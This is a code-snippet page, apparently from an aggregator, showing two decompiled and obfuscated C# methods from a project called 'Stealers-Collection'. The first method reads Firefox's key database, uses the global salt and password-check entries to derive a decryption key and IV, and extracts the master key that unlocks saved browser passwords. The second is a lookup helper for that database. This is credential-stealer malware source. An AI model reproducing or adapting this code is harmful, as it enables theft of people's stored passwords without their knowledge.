コード例 #1
0
ファイル: hhhh6r.cs プロジェクト: yaskin/Stealers-Collection
 // Token: 0x06000CC8 RID: 3272 RVA: 0x00028A30 File Offset: 0x00026C30
 private static byte[] p3k(string file)
 {
     byte[] array = new byte[24];
     try
     {
         if (!File.Exists(file))
         {
             return(array);
         }
         new DataTable();
         ррп6    berkeleyDB = new ррп6(file);
         о6а     о6а        = new о6а(hhhh6r.vbv(berkeleyDB, (string x) => x.Equals("password-check")));
         string  hexString  = hhhh6r.vbv(berkeleyDB, (string x) => x.Equals("global-salt"));
         р6прлгв р6прлгв    = new р6прлгв(rcvr.ConvertHexStringToByteArray(hexString), Encoding.Default.GetBytes(string.Empty), rcvr.ConvertHexStringToByteArray(о6а.EntrySalt));
         р6прлгв.го7па();
         шо67г.lTRjlt(р6прлгв.DataKey, р6прлгв.DataIV, rcvr.ConvertHexStringToByteArray(о6а.Passwordcheck), PaddingMode.None);
         нкрпар  нкрпар   = Апн.Create(rcvr.ConvertHexStringToByteArray(hhhh6r.vbv(berkeleyDB, (string x) => !x.Equals("password-check") && !x.Equals("Version") && !x.Equals("global-salt"))));
         р6прлгв р6прлгв2 = new р6прлгв(rcvr.ConvertHexStringToByteArray(hexString), Encoding.Default.GetBytes(string.Empty), нкрпар.Objects[0].Objects[0].Objects[1].Objects[0].ObjectData);
         р6прлгв2.го7па();
         нкрпар нкрпар2 = Апн.Create(Апн.Create(Encoding.Default.GetBytes(шо67г.lTRjlt(р6прлгв2.DataKey, р6прлгв2.DataIV, нкрпар.Objects[0].Objects[1].ObjectData, PaddingMode.None))).Objects[0].Objects[2].ObjectData);
         if (нкрпар2.Objects[0].Objects[3].ObjectData.Length > 24)
         {
             Array.Copy(нкрпар2.Objects[0].Objects[3].ObjectData, нкрпар2.Objects[0].Objects[3].ObjectData.Length - 24, array, 0, 24);
         }
         else
         {
             array = нкрпар2.Objects[0].Objects[3].ObjectData;
         }
     }
     catch (Exception)
     {
     }
     return(array);
 }
コード例 #2
0
ファイル: hhhh6r.cs プロジェクト: yaskin/Stealers-Collection
        // Token: 0x06000CC9 RID: 3273 RVA: 0x00028C98 File Offset: 0x00026E98
        private static string vbv(ррп6 berkeleyDB, Func <string, bool> predicate)
        {
            string text = string.Empty;

            try
            {
                foreach (KeyValuePair <string, string> keyValuePair in berkeleyDB.Keys)
                {
                    if (predicate(keyValuePair.Key))
                    {
                        text = keyValuePair.Value;
                    }
                }
            }
            catch (Exception)
            {
            }
            return(text.Replace("-", string.Empty));
        }